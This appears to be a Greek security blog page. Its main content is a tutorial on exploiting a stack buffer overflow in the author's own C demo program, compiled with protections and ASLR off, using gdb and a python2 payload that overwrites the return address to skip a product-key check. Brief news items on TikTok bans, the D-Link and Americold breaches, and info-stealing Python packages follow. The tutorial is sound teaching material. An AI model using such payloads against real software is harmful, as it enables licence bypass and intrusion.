Δεδομένου ότι η συγκεκριμένη επίθεση έχει να κάνει με την αρχιτεκτονική της μνήμης, την αρχιτεκτονική των λειτουργικών συστημάτων και τις συγκεκριμένες υλοποιήσεις μεταγλωττιστών, υπάρχουν αρκετές παραδοχές που πρέπει να κάνουμε.
Θα συζητήσουμε αυτές τις υποθέσεις για κάθε αρχιτεκτονική που επιλέγουμε.
Ας ξεκινήσουμε το ταξίδι μας με Linux…
0x1. Linux 64bit σε εφαρμογή 64bit
Ας δημιουργήσουμε τη δοκιμαστική μας εφαρμογή σε γλώσσα C για να ολοκληρώσουμε τη δοκιμή.
Ο πηγαίος κώδικας είναι ο εξής:
Αυτό το πολύ απλό πρόγραμμα επίδειξης, αυτό που κάνει είναι να λάβει ένα κλειδί προϊόντος ως είσοδο και αν το κλειδί προϊόντος είναι σωστό θα συνεχίσει στην κύρια ροή, διαφορετικά παράγει ένα σφάλμα και εξέρχεται.
Η είσοδος μπορεί να δοθεί από όρισμα της γραμμής εντολών ή (αν δεν δοθούν ορίσματα) θα ζητήσει από τον χρήστη να το εισάγει.
Για να μπορέσουμε να πραγματοποιήσουμε μια επιτυχημένη επίθεση, κάνουμε κάποιες παραδοχές χρησιμοποιώντας συγκεκριμένες σημαίες (flags) του μεταγλωττιστή.
Μεταγλωττίζω το πρόγραμμα ως εξής:
-m64: δημιουργία ενός εκτελέσιμου αρχείου σε αρχιτεκτονική 64bit (για να είμαι ειλικρινής, θα μπορούσα να το παραλείψω στο συγκεκριμένο σύστημα, αφού χρησιμοποιείται ως προεπιλογή).
-g: για την παραγωγή ειδικών μεταδεδομένων για τον αποσφαλματωτή (debugger – που θα χρησιμοποιήσουμε αργότερα)
-fno-stack-protector: κατά την εκτέλεση του προγράμματος δεν θα πραγματοποιείται έλεγχος στοίβας μνήμης (no stack protection).
-z execstack: επιτρέπει την εκτέλεση κώδικα σε τμήμα στοίβας (στη μνήμη).
-o demo: όνομα του τελικού εκτελέσιμου αρχείου θα είναι demo.
Το συγκεκριμένο παράδειγμα έχει υλοποιηθεί στο KALI Linux 2022.4:
Επιπλέον, είναι πολύ σημαντικό να απενεργοποιήσετε την προστασία ASLR (Address Space Layout Randomization).
Για να το κάνετε αυτό, στο kali απλά εισάγετε την εντολή ως root:
Και… btw, αν θέλετε να ελέγξετε, ποια είναι η τρέχουσα κατάσταση του ASLR, εισάγετε αυτό:
$ sudo cat /proc/sys/kernel/randomize_va_space
Στην παρακάτω εικόνα βλέπουμε μια κανονική εκτέλεση του μικρού μου προγράμματος επίδειξης.
Όπως μπορείτε να δείτε, υπάρχουν δύο (τουλάχιστον!!) κύρια τρωτά σημεία στο πρόγραμμα: Είναι όπου χρησιμοποιείται η ευάλωτη συνάρτηση strcpy και ας το δούμε αυτό στην πράξη:
O παραπάνω είναι ένας σχετικά εύκολος ο τρόπος για να ελέγξουμε αν το πρόγραμμά μας είναι ευάλωτο σε μια επίθεση buffer overflow: Δίνουμε ένα πολύ μεγάλο αλφαριθμητικό και στη συνέχεια ελέγχουμε την απόκριση του προγράμματος. Αν λάβουμε ένα ‘segmentation fault’ τότε είναι πιθανό να έχουμε μια ευπάθεια bof (buffer overflow)…
0x1.0x1. Η προσέγγιση ROP
Σύμφωνα με τη Wikipedia: Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
Ο κύριος στόχος μας εδώ είναι να εκμεταλλευτούμε την ευπάθεια ενός προγράμματος προκειμένου να ανακατευθύνουμε τη ροή του προγράμματος εκεί που μας αρέσει (και εκεί που μπορούμε, βεβαίως βεβαίως)…
Ας εξετάσουμε τη συμπεριφορά του προγράμματος χρησιμοποιώντας τον αποσφαλματωτή gdb.
Βάζουμε ένα σημείο διακοπής (break point) στη γραμμή 7, αμέσως μετά την strcpy, μέσα στη συνάρτηση checkProductKey.
Εκτελούμε την εφαρμογή μέσα στον αποσφαλματωτή ( απλά πληκτρολογούμε dbg ./demo ) περνώντας ένα κανονικό αλφαριθμητικό, προκειμένου να ελέγξουμε πού βρίσκεται η διεύθυνση RET (περισσότερα γι’ αυτό παρακάτω). Έτσι θα έχουμε:
Ας συζητήσουμε μερικά πραγματάκια εδώ…
Η παραπάνω εικόνα χωρίζεται σε 2 κονσόλες:
Η αριστερή κονσόλα είναι ο disassembled κώδικας του προγράμματος που λαμβάνω μετά την τοποθέτηση του σημείου διακοπής στη γραμμή 7 (break 7) και την εισαγωγή disassemble /s main. Η παράμετρος “/s” δίνει εντολή στον αποσφαλματωτή να παράγει τον disassembled κώδικα μαζί με τον αντίστοιχο πηγαίο κώδικα C (thanks to the flag -g στη φάση της μεταγλώττισης).
Η δεξιά κονσόλα είναι η κονσόλα εκτέλεσης στην οποία δουλεύουμε δοκιμάζοντας το πρόγραμμα μας.
Σημειώστε επίσης το εξής σημαντικό: οι διευθύνσεις μνήμης (που ορίζονται με μπλε χρώμα) είναι ίδιες και στις δύο εικόνες. Αυτό είναι πολύ δύσκολο να συμβεί σε πραγματικές καταστάσεις, επειδή αυτές οι διευθύνσεις μπορεί να μην είναι πάντα οι ίδιες κάθε φορά που εκτελούμε το πρόγραμμα. Αυτό συμβαίνει εξαιτίας του ASLR, και γι’ αυτό το λόγο το απενεργοποιούμε, παραπάνω, αλλιώς μπορεί να καταλήξουμε να κυνηγάμε… φαντάσματα, πιστέψτε με! — burned-burned-burned!!
Όπως μπορείτε να δείτε στα ΠΡΑΣΙΝΑ ΚΟΥΤΙΑ τρέχουμε το πρόγραμμα στον αποσφαλματωτή περνώντας 10 “Α” ως όρισμα: run AAAAAAAAAA
Αυτό αποθηκεύεται στη στοίβα (stack – μην μου πείτε οτι δεν το ξέρετε – see part I) καθώς καλείται η συνάρτηση checkProductKey αφού περνάει ως όρισμα στη συνάρτηση.
Μπορούμε να δούμε τη στοίβα στη μνήμη εισάγοντας την εντολή x/24xg $rsp στον αποσφαλματωτή. Αυτή η εντολή δίνει εντολή στον αποσφαλματωτή να εμφανίσει σε δεκαεξαδική μορφή “x”, τις επόμενες 24 θέσεις μνήμης σε γιγαντιαία (“g”) μορφή 8-bytes.
Το $rsp είναι το γνωστό Stack Pointer (το παλιό ESP στα 32bit συστήματα – see again part I) όπου στην περίπτωσή μας δείχνει τις μεταβλητές που πέρασαν ως ορίσματα μέσα στη συνάρτησή μας.
Τα “AAAAAAAAAA” αναπαρίστανται εδώ σε δεκαεξαδική μορφή (“x”) από τον αριθμό “41” που είναι η ASCII δεκαεξαδική αναπαράσταση του γράμματος “A”.
Επίσης, σημειώστε ότι τα 10 “Α” αποθηκεύονται στη θέση μνήμης με αντίστροφη σειρά, καθώς πρόκειται για την αρχιτεκτονική little endian.
Έτσι, η πραγματική συμβολοσειρά που διατηρείται στη στοίβα (στη μνήμη) είναι η “41.41.41.41.41.41.41.41.41.41.00” (έβαλα το “.” για να είναι πιο ευανάγνωστο).
Σημειώστε ότι το “00” είναι ο μηδενικός χαρακτήρας που δηλώνει τον τερματισμό της συμβολοσειράς. Να θυμάστε αυτό το “00” επειδή παίζει σημαντικό ρόλο (ως εμπόδιο) στην ανάπτυξη exploits γενικότερα, και ειδικά στη δημιουργία shellcode (ή bytecode) (περισσότερα για αυτό στο part III). Το βασικό σημείο που πρέπει να γνωρίζετε εδώ είναι το εξής: Η ανάγνωση (ή μερικές φορές η εκτέλεση) μιας σειράς θέσεων μνήμης διακόπτεται όταν το σύστημα συναντήσει ένα byte 00.
Επικεντρωθείτε τώρα στα κόκκινα κουτάκια της εικόνας μας και θυμηθείτε πού βρισκόμαστε: Βρισκόμαστε μέσα στη συνάρτηση checkProductKey.
Όταν η συνάρτηση τελειώσει, η λειτουργικότητα του προγράμματος πρέπει να επιστρέψει στο σημείο που κλήθηκε. Για να είμαστε πιο συγκεκριμένοι: πρέπει να επιστρέψει στη διεύθυνση του καλούντα.
Προκειμένου το σύστημα να θυμάται αυτή τη διεύθυνση, την αποθηκεύει σε μια συγκεκριμένη θέση μνήμης μέσα στο buffer της τρέχουσας συνάρτησης. Ονομάζουμε αυτή τη διεύθυνση: διεύθυνση RET (RETurn). Είναι μια από τις πιο σημαντικές διευθύνσεις των επιθέσεων buffer overflow και θεωρείται το “ιερό δισκοπότηρο” κάθε εκμετάλλευσης μιας αδυναμίας buffer overflow.
Όπως μπορείτε να δείτε στο κόκκινο πλαίσιο στη δεξιά κονσόλα, η διεύθυνση RET αποθηκεύεται στο τέλος του buffer, μετά τη διεύθυνση του αλφαριθμητικού εισόδου μας “AAAAAAAAAA” και κάποιες άλλες διευθύνσεις (όπως ο Base Pointer, κάποιες μεταβλητές περιβάλλοντος κ.λπ. που είναι σημαντικές… αλλά όχι τόσο σημαντικές για την ώρα).
Όπως μπορείτε να φανταστείτε αν εισάγουμε ένα πολύ μεγάλο αλφαριθμητικό εισόδου, μεγαλύτερο από αυτό που έχει κρατήσει το πρόγραμμα μας (στην περίπτωσή μας είναι 12 – λόγω της char key[12]; στη γραμμή 5) τότε αυτό θα γράψουμε από πάνω από όλες τις διευθύνσεις που ακολουθούν αυτή τη μεταβλητή, συμπεριλαμβανομένης της διεύθυνσης RET. Αυτό είναι πολύ σημαντικό και πολύ δύσκολο!
και αυτός είναι ο λόγος:
Έστω οτι δώσουμε αυτό σαν input: “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”.
To buffer μας μπορεί να χωρέσει μόνο τους πρώτους 12 χαρακτήρες (ή bytes στην αρχιτεκτονική i386), συμπεριλαμβανομένου του χαρακτήρα τερματισμού, δηλαδή του “00”. Τι γίνεται λοιπόν με τους υπόλοιπους χαρακτήρες; Μα, θα αντικαταστήσουν τις γειτονικές διευθύνσεις μνήμης… συμπεριλαμβανομένης της διεύθυνσης που βρίσκεται το RET .
Έτσι, η διεύθυνση RET θα γεμίσει με “A”, άρα “AAAAAAAA” ή “4141414141414141”.
Σημειώστε ότι επίτηδες επέλεξα 8 bytes για να δηλώσω τη διεύθυνση σε συστήματα 64bit.
Γενικά, θα πρέπει να γνωρίζετε ότι στα 64bit συστήματα (σε αντίθεση με τα 32bit συστήματα που είδαμε σαν θεωρία στο Part I) έχουμε τις εξής διαφορές:
Οι καταχωρητές γενικού σκοπού έχουν επεκταθεί σε 64-bit. Έτσι έχουμε τώρα τους RAX, RBX, RCX, RDX, RSI και RDI.
Ο Instruction Pointer, ο Base Pointer και ο Stack Pointer έχουν επίσης επεκταθεί σε 64-bit ως RIP, RBP και RSP αντίστοιχα.
Έχουν παρασχεθεί οι πρόσθετοι καταχωρητές: R8 έως R15.
Οι pointers έχουν μήκος 8-bytes.
Τα push/pop στο STACK έχουν μήκος 8-bytes.
To μέγιστο μέγεθος μιας επιτρεπτής διεύθυνσης είναι: 0x00007FFFFFFFFFFFFFFF (περισσότερα σχετικά με αυτό θα πούμε λίγο αργότερα).
Δείτε τώρα τη διεύθυνση RET σε συνδυασμό με μια άλλη πολύ σημαντική διεύθυνση, η οποία είναι αποθηκευμένη στη μνήμη του επεξεργαστή: Ο Instruction Pointer ή $RIP. Αυτή η διεύθυνση έχει πάντα τη διεύθυνση της επόμενης εντολής που θα εκτελέσει το πρόγραμμα. Έτσι, όταν φτάσουμε στο τέλος της συνάρτησης μας, εκτελείται η εντολή $RIP = RET. Έτσι, η λειτουργικότητα του προγράμματος θα επιστρέψει στον καλούντα, αφού η διεύθυνση RET διατηρεί τη διεύθυνση του καλούντος, και για να είμαστε πιο συγκεκριμένοι διατηρεί τη διεύθυνση της επόμενης εντολής από αυτή που κλήθηκε τη συνάρτηση.
Έτσι, στο παραπάνω θεωρητικό μας παράδειγμα η διεύθυνση RET θα γεμίσει με “4141414141414141”, δηλαδή το πρόγραμμα, στο τέλος της συνάρτησης checkProductKey θα προσπαθήσει να μεταβεί στη διεύθυνση 0x4141414141414141.
Αλλά μια τέτοια διεύθυνση δεν υπάρχει στο πλαίσιο του προγράμματός μας, οπότε λαμβάνουμε το γνωστό σφάλμα: segmentation fault
Έχοντας κατά νου τις παραπάνω γνώσεις ας προσπαθήσουμε να εκμεταλλευτούμε το πρόγραμμά μας.
Εξετάζοντας τη δομή $rsp στο αρχικό μας παράδειγμα (στην παραπάνω εικόνα) μπορούμε να δούμε ότι χρειαζόμαστε 3 x 8 bytes προκειμένου να ικανοποιήσουμε τη διεύθυνση RET.
Ας το αποδείξουμε αυτό με το ακόλουθο παράδειγμα:
Όπως μπορείτε να δείτε, εισάγουμε 24 x “A” = “AAAAAAAAAAAAAAAAAAAAAAAA” και τα 8 “B” “BBBBBBBB” αντικαθιστούν τη διεύθυνση RET.
Το πρόγραμμα κατέρρευσε… Αυτό που θα θέλαμε να κάνουμε στην πραγματικότητα είναι να αντικαταστήσουμε την $RIP με μια άκυρη διεύθυνση. Αλλά, στην πραγματικότητα δεν ελέγχουμε καθόλου την $RIP. Έχουμε έλεγχο μόνο στην RET όπως ήδη βλέπετε.
Για την ενημέρωσή σας πρέπει να το ξέρετε αυτό: Το μέγιστο μέγεθος διεύθυνσης που μπορούμε να χειριστούμε στην αρχιτεκτονική 64bit είναι 0x00007FFFFFFFFFFFFFFF. Αυτό που κάναμε μέχρι εδώ, είναι ότι γράψαμε επάνω στην $RIP, μέσω της RET, τη μη κανονική διεύθυνση 0x4242424242424242, η οποία προκαλεί τον επεξεργαστή να εγείρει μια εξαίρεση.
[Αν έχετε μπερδευτεί λίγο με τις 64μπιτες διευθύνσεις, μπορείτε να διαβάσετε περισσότερα για αυτή την αρχιτεκτονική των 64bit εδώ.]
Οπότε, ο στόχος ήταν να βρούμε το offset με το οποίο θα αντικαταστήσουμε την RET και κατά συνέπεια την $RIP με μια κανονική (υπαρκτή) διεύθυνση.
Για το λόγο αυτό χρησιμοποιώ ένα κυκλικό μοτίβο (ας πούμε “AAAAAABBBB” κλπ) και το δοκιμάζω μέχρι να καταλήξω στην απαραίτητη διεύθυνση (και ναι, ξέρω ότι υπάρχουν και άλλες δημοσιευμένοι μέθοδοι που υπολογίζουν διαφορετικά το απαιτούμενο offset, αλλά αυτή που παρουσίασα εδώ επίσης λειτουργεί… οπότε… ΟΚ! 😎 ).
Έτσι, θα πάω να αντικαταστήσω το “BBBBBBBBBB” με μια υπάρχουσα διεύθυνση του υπάρχοντος πηγαίου κώδικα (Code Segment) προκειμένου να παρακάμψω τους ελέγχους που γίνονται στον κώδικα για το σωστό κλειδί.
Αυτή η διεύθυνση είναι η ακόλουθη:
Σε αυτό το σημείο έχουν περάσει όλοι οι έλεγχοι σχετικά με το κλειδί προϊόντος, και αυτό είναι που ονομάζω ROP (βλ. τον τίτλο της παραγράφου).
Πρέπει να αντικαταστήσω το “B” με αυτή τη διεύθυνση: 0x0000555555555261
Αλλά πρέπει να περάσω την τιμή της ως bytes… και όχι ως συμβολοσειρά! Πώς να το κάνω αυτό;
Υπάρχουν διάφοροι τρόποι για να περάσετε αυτό το αλφαριθμητικό ως “bytes” στον αποσφαλματωτή:
Θα επιλέξω τον πιο γρήγορο… ρίξτε μια ματιά εδώ:
Ας εξετάσουμε λίγο την επίθεση “string” :
Εδώ χρησιμοποιώ λίγο την python v.2 (και στην v.3 λειτουργεί επίσης αν βάλω την εκτύπωση συμβολοσειράς σε παρενθέσεις: “(” και “)” ) : python2 -c ‘print “1”*24 + “\x55\x55\x55\x55\x55\x52\x61″[::-1]’
Αντί να γράψω μια εξήγηση σε κείμενο εδώ θα δείξω την εικόνα του αποτελέσματος όταν το εκτελώ στη γραμμή εντολών:
Όπως μπορείτε να δείτε, περνάω τα παραπάνω αποτελέσματα, ως όρισμα γραμμής εντολών στο dbg χρησιμοποιώντας τον συμβολισμό run $( <SYSTEM_COMMAND> ).
Αυτός είναι ένας εύκολος τρόπος για να περάσετε τη συμβολοσειρά της γραμμής εντολών ως bytes σε ένα πρόγραμμα.
Το πρόγραμμα “σκάει” (με segmentation fault), αλλά στο τέλος, έκανα μια επιτυχημένη ανακατεύθυνση, όπως μπορείτε να δείτε το μήνυμα ‘Welcome’ (στο πράσινο πλαίσιο παραπάνω). Έτσι, παρακάμπτω τον μηχανισμό ελέγχου!!
Σημειώστε επίσης, τον τρόπο με τον οποίο περνάω τη διεύθυνση στόχου, με αντίστροφη σειρά: ο συμβολισμός [::-1] της python απλά έβαλε τη δεκαεξαδική συμβολοσειρά αντίστροφα.
Έτσι, το “55.55.55.55.55.52.61” θα μπει στα string arguments ως “61.52.55.55.55.55.55.55” (θυμηθείτε την αρχιτεκτονική little endian που ανέφερα παραπάνω).
Σημαντική σημείωση: το “555555555261” τοποθετείται στη μνήμη με αντίστροφη σειρά ανά ζεύγος: το “55.55.55.55.55.52.61” θα τοποθετηθεί στη μνήμη ως “61.52.55.55.55.55.55“.
Και γενικά, κάθε διεύθυνση μνήμης που θα διαβάσουμε, είναι μια σειρά από ζεύγη – ή μια σειρά από 1 byte (8bits, από το 0 έως το 255 – ή αλλιώς 2^8=256 πιθανές διαφορετικές τιμές). “Historically, the byte was the number of bits used to encode a single character of text in a computer and for this reason it is the smallest addressable unit of memory in many computer architectures.” (wikipedia)
Το ίδιο ισχύει και για τα i386 64-bit Windows 10 αλλά και στο i386 64-bit Kali Linux.
Επιπλέον, ο συμβολισμός ‘\x’ υποδηλώνει ότι μιλάω στο πρόγραμμα όχι σε δεκαδικό αλλά σε δεκαεξαδικό σύστημα.
Το κάνω αυτό επειδή ο αποσφαλματωτής εμφανίζει τις διευθύνσεις μνήμης σε δεκαεξαδική σημειογραφία.
Αν αναρωτιέστε γιατί ο αποσφαλματωτής προτιμά τη δεκαεξαδική σημειογραφία, θα έλεγα το εξής:
Η δεκαδική αναπαράσταση της δεκαεξαδικής διεύθυνσης 555555555261 είναι αυτός ο αριθμός: 93824992236129. Λοιπόν, φαίνεται σαν έναν τηλεφωνικό αριθμό, ε;! 😆
Έτσι… δεν είναι τόσο εύκολο για τον άνθρωπο να αντιμετωπίσει τόσο μεγάλους αριθμούς μήκους. Η δεκαεξαδική σημειογραφία είναι πιο εύχρηστη και συνεπώς διαχειρίσιμη. Αυτός είναι ο λόγος για τον οποίο έχει υιοθετηθεί από (σχεδόν) όλα τα προγράμματα εντοπισμού σφαλμάτων στον κόσμο για την αναπαράσταση διευθύνσεων η 16δική αναπαράσταση.
Μέχρι στιγμής, λοιπόν, έχω εκτελέσει, στην ουσία, ένα “goto” (θυμάστε στη BASIC την εντολή goto😉 ή ένα JUMP (assembly-wise) με τη χρήση του debugger.
Αυτό που χρειάζομαι τώρα είναι να κάνω το ίδιο στο τελικό εκτελέσιμο από τη γραμμή εντολών σε μια κονσόλα, και ΟΧΙ με τη χρήση του dbg.
Λοιπόν, η απάντηση φαίνεται αρκετά απλή: Απλά το τρέχω από τη γραμμή εντολών αυτό:
Όπως μπορείτε να δείτε, ανοίγω την οθόνη καλωσορίσματος χωρίς να πληκτρολογήσω κανένα κλειδί προϊόντος και μόλις δημιούργησα την πρώτη μου εκμετάλλευση buffer overflow… 😎
Σημειώστε ότι τα αποτελέσματα στην παραπάνω εικόνα δεν είναι πάντα τόσο προφανή, ειδικά όταν πειράζουμε τις διευθύνσεις μνήμης και τη στοίβα απευθείας. Αρκετές φορές αυτό που βλέπω στον αποσφαλματωτή δεν είναι ακριβώς το ίδιο με αυτό που βλέπω όταν εκτελώ το πρόγραμμα απευθείας από τη γραμμή εντολών και αυτό είναι πολύ συνηθισμένο όταν πρέπει να αναφερθώ σε διευθύνσεις στη στοίβα (και όχι στο τμήμα κώδικα όπως έκανα εδώ).
Τέτοιο παράδειγμα θα δούμε στο Μέρος ΙΙI αυτής της σειράς άρθρων, όταν θα δείξω πώς να βάλω ένα “shell” στη στοίβα και πώς να το εκτελέσω. Επιπλέον στο Μέρος ΙΙI θα δούμε τι είναι το bytecode, πώς θα δημιουργήσουμε ή θα βρούμε κάποιους έτοιμα byte-codes και πώς θα τα ελέγξουμε. Θα δούμε, οτι σε τέτοιες περιπτώσεις ότι τα αποτελέσματα μπορεί να μην είναι τόσο ντετερμινιστικά όσο θα περιμέναμε…
Απαγόρευση TikTok: Δικαστικές Αποφάσεις Στο Texas και Στην Μοντάνα
Ο δικαστής Robert Pitman εξέδωσε απόφαση επιβεβαιώνοντας την απαγόρευση χρήσης του TikTok για υπαλλήλους του Texas σε δημόσια πανεπιστήμια και σε κρατικά δίκτυα.
Η απόφαση αυτή προέκυψε μετά την μήνυση που κατέθεσε το Πανεπιστήμιο Κολούμπια, ισχυριζόμενο ότι η απαγόρευση θέτει εμπόδια στην ερευνητική εργασία του προσωπικού σχετικά με την πλατφόρμα.
Ο δικαστής απέρριψε την αγωγή, υποστηρίζοντας ότι η απαγόρευση βασίζεται σε νόμιμες ανησυχίες για την προστασία των δεδομένων και χαρακτήρισε τον περιορισμό ως “λογικό”. Επιπλέον, διευκρίνισε ότι το προσωπικό των δημόσιων πανεπιστημίων εξακολουθεί να μπορεί να χρησιμοποιεί το TikTok στις προσωπικές του συσκευές, υπό την προϋπόθεση ότι δεν έχει πρόσβαση στα κρατικά δίκτυα.
Αυτή η απόφαση αντίκειται σε πρόσφατη υπόθεση στη Μοντάνα, όπου ένας δικαστής απέρριψε την προσπάθεια του κράτους να απαγορεύσει τη χρήση του TikTok από την 1η Ιανουαρίου. Στη συγκεκριμένη υπόθεση, ο δικαστής αποφάνθηκε ότι η απαγόρευση παραβιάζει το Σύνταγμα και υπερβαίνει την εξουσία του κράτους.
Οι νομικές διαμάχες γύρω από το TikTok εκτείνονται πέρα από το Texas και τη Μοντάνα, καθώς περισσότερες από 30 πολιτείες και ομοσπονδιακές υπηρεσίες στις Ηνωμένες Πολιτείες, συμπεριλαμβανομένου του Λευκού Οίκου, του Υπουργείου Άμυνας, του Υπουργείου Εσωτερικών και του Υπουργείου Εξωτερικών, έχουν επιβάλει απαγορεύσεις για τη χρήση του TikTok σε κυβερνητικές συσκευές.
Το TikTok, που ανήκει στην κινεζική ByteDance, αντιμετωπίζει παγκόσμιες κρίσεις λόγω ανησυχιών για τις σχέσεις του με την κινεζική κυβέρνηση και τη διαχείριση των δεδομένων των χρηστών. Η εταιρεία αρνείται κάθε ατασθαλία στη χρήση των δεδομένων των Αμερικανών χρηστών της. Οι συνεχείς νομικές διαμάχες αναδεικνύουν τις προκλήσεις που αντιμετωπίζει η δημοφιλής πλατφόρμα κοινωνικών μέσων στη χώρα.
Η D-Link επιβεβαιώνει παραβίαση δεδομένων μετά από επίθεση phishing από υπάλληλο
Η ταϊβανέζικη εταιρεία κατασκευής εξοπλισμού δικτύωσης D-Link επιβεβαίωσε παραβίαση δεδομένων που συνδέεται με πληροφορίες που εκλάπησαν από το δίκτυό της και τέθηκαν προς πώληση στο BreachForums νωρίτερα αυτό το μήνα.
Ο επιτιθέμενος ισχυρίζεται ότι έκλεψε τον πηγαίο κώδικα για το λογισμικό διαχείρισης δικτύου D-View της D-Link, μαζί με εκατομμύρια καταχωρίσεις που περιείχαν προσωπικές πληροφορίες πελατών και εργαζομένων, συμπεριλαμβανομένων λεπτομερειών για τον διευθύνοντα σύμβουλο της εταιρείας.
Τα κλεμμένα δεδομένα φέρονται να περιλαμβάνουν ονόματα, emails, διευθύνσεις, αριθμούς τηλεφώνου, ημερομηνίες εγγραφής λογαριασμών και τις τελευταίες ημερομηνίες σύνδεσης των χρηστών.
Ο δράστης παρείχε δείγματα 45 κλεμμένων εγγραφών με χρονοσφραγίδες μεταξύ 2012 και 2013, γεγονός που ώθησε έναν άλλο συμμετέχοντα στο νήμα να σχολιάσει το γεγονός ότι τα δεδομένα φαίνονταν πολύ παλιά.
Η D-Link ανέφερε ότι η παραβίαση της ασφάλειας συνέβη λόγω του ότι ένας υπάλληλος έπεσε θύμα επίθεσης phishing, παρέχοντας στον επιτιθέμενο πρόσβαση στο δίκτυο της εταιρείας.
Ως απάντηση στην παραβίαση, η εταιρεία έκλεισε αμέσως τους διακομιστές που ενδεχομένως επηρεάστηκαν και απενεργοποίησε όλους τους λογαριασμούς χρηστών εκτός από δύο που χρησιμοποιήθηκαν κατά τη διάρκεια της έρευνας.
Ενώ επιβεβαίωσε την παραβίαση, η D-Link διευκρίνισε ότι ο εισβολέας απέκτησε πρόσβαση σε ένα σύστημα καταχώρισης προϊόντων μέσα σε ένα περιβάλλον που περιέγραψε ως “εργαστήριο δοκιμών”, λειτουργώντας σε ένα ξεπερασμένο σύστημα D-View 6 που έφτασε στο τέλος της ζωής του το 2015.Ο λόγος για τον οποίο ένας διακομιστής τέλους ζωής εξακολουθούσε να λειτουργεί στο δίκτυο της D-Link, παραμένοντας ενδεχομένως εκτεθειμένος στην πρόσβαση στο Διαδίκτυο για επτά χρόνια, παραμένει ασαφής.
Σε αντίθεση με τον ισχυρισμό του επιτιθέμενου ότι έκλεψε τα δεδομένα εκατομμυρίων χρηστών, η D-Link δήλωσε ότι το παραβιασμένο σύστημα περιείχε περίπου 700 εγγραφές, με πληροφορίες για λογαριασμούς που υπάρχουν εδώ και τουλάχιστον επτά χρόνια.
Η D-Link υποψιάζεται επίσης ότι ο δράστης της απειλής παραποίησε σκόπιμα τις πρόσφατες χρονοσφραγίδες σύνδεσης για να δημιουργήσει την ψευδαίσθηση μιας πιο πρόσφατης κλοπής δεδομένων. Επιπλέον, η εταιρεία δήλωσε ότι οι περισσότεροι από τους υφιστάμενους πελάτες της είναι απίθανο να επηρεαστούν από αυτό το περιστατικό.
Παραβίαση Δεδομένων στην Americold: Χιλιάδες Εργαζόμενοι Επηρεάζονται
Η Americold, ο γίγαντας αποθήκευσης και παροχής πάγου, επιβεβαίωσε ότι περισσότεροι από 129.000 υπάλληλοι και οι συγγενείς τους υπέστησαν παραβίαση των προσωπικών τους δεδομένων κατά τη διάρκεια μιας επίθεσης τον Απρίλιο. Η επίθεση αποδίδεται σε κακόβουλο λογισμικό Cactus ransomware.
Η Americold, που απασχολεί 17.000 άτομα παγκοσμίως και διαχειρίζεται περισσότερες από 24 αποθήκες με ελεγχόμενη θερμοκρασία σε όλη τη Βόρεια Αμερική, την Ευρώπη, την Ασία-Ειρηνικό και τη Νότια Αμερική, έπρεπε να αντιμετωπίσει τις συνέπειες της παραβίασης του δικτύου της.
Η επίθεση οδήγησε σε διακοπή που επηρέασε τις λειτουργίες της εταιρείας, αναγκάζοντάς τη να κλείσει το IT δίκτυό της προκειμένου να περιορίσει την παραβίαση και να ανακτήσει τα επηρεαζόμενα συστήματα.
Μια κακόβουλη εκστρατεία που οι ερευνητές παρατήρησαν ότι γίνεται όλο και πιο σύνθετη κατά το τελευταίο εξάμηνο, εγκατέστησε σε πλατφόρμες ανοιχτού κώδικα εκατοντάδες πακέτα κλοπής πληροφοριών που μέτρησαν περίπου 75.000 λήψεις.
Η εκστρατεία παρακολουθείται από τις αρχές Απριλίου από τους αναλυτές της ομάδας Supply Chain Security της Checkmarx, οι οποίοι ανακάλυψαν 272 πακέτα με κώδικα για την κλοπή ευαίσθητων δεδομένων από στοχευμένα συστήματα.
Η επίθεση έχει εξελιχθεί σημαντικά από τότε που εντοπίστηκε για πρώτη φορά, με τους συγγραφείς των πακέτων να εφαρμόζουν όλο και πιο εξελιγμένα στρώματα απόκρυψης και τεχνικές αποφυγής εντοπισμού.
Οι ερευνητές λένε ότι άρχισαν να βλέπουν ένα μοτίβο “στο οικοσύστημα Python από τις αρχές Απριλίου 2023”.
Ένα παράδειγμα που παρέχεται είναι το αρχείο “_init_py”, το οποίο φορτώνει μόνο αφού ελέγξει ότι εκτελείται σε ένα σύστημα-στόχο και όχι σε ένα εικονικό περιβάλλον – ένα τυπικό σημάδι ενός ξενιστή ανάλυσης κακόβουλου λογισμικού.
Μόλις ξεκινήσει, στοχεύει τις ακόλουθες πληροφορίες στα μολυσμένα συστήματα:
Εργαλεία προστασίας από ιούς που εκτελούνται στη συσκευή.
Λίστα εργασιών, κωδικοί πρόσβασης Wi-Fi και πληροφορίες συστήματος.
Τα διαπιστευτήρια, το ιστορικό περιήγησης, τα cookies και οι πληροφορίες πληρωμής που αποθηκεύονται στα προγράμματα περιήγησης ιστού.
Δεδομένα σε εφαρμογές πορτοφολιού κρυπτονομισμάτων όπως το Atomic και το Exodus.
Discord badges, αριθμοί τηλεφώνου, διευθύνσεις ηλεκτρονικού ταχυδρομείου και κατάσταση nitro.
Δεδομένα χρηστών Minecraft και Roblox.
Επιπλέον, το κακόβουλο λογισμικό μπορεί να τραβήξει στιγμιότυπα οθόνης και να κλέψει μεμονωμένα αρχεία από το παραβιασμένο σύστημα, όπως οι κατάλογοι Desktop, Pictures, Documents, Music, Videos και Downloads.
Το πρόχειρο του θύματος παρακολουθείται επίσης συνεχώς για διευθύνσεις κρυπτονομισμάτων και το κακόβουλο λογισμικό τις ανταλλάσσει με τη διεύθυνση του επιτιθέμενου για να εκτρέψει τις πληρωμές σε πορτοφόλια που βρίσκονται υπό τον έλεγχό του.
Οι αναλυτές εκτιμούν ότι η εκστρατεία έκλεψε άμεσα περίπου 100.000 δολάρια σε κρυπτονόμισμα.
Χειραγώγηση εφαρμογών
Η Checkmarx αναφέρει ότι το κακόβουλο λογισμικό που χρησιμοποιήθηκε σε αυτή την εκστρατεία προχωρά ένα βήμα παραπέρα από τις τυπικές επιχειρήσεις κλοπής πληροφοριών, εμπλέκοντας τη χειραγώγηση δεδομένων εφαρμογών για να επιφέρει ένα πιο αποφασιστικό χτύπημα.
Για παράδειγμα, το αρχείο electron της εφαρμογής διαχείρισης πορτοφολιού κρυπτονομισμάτων Exodus αντικαθίσταται για να αλλοιώσει τα βασικά αρχεία, επιτρέποντας στους επιτιθέμενους να παρακάμψουν την Πολιτική Ασφάλειας Περιεχομένου (Content-Security-Policy) και να εξαφανίσουν δεδομένα.
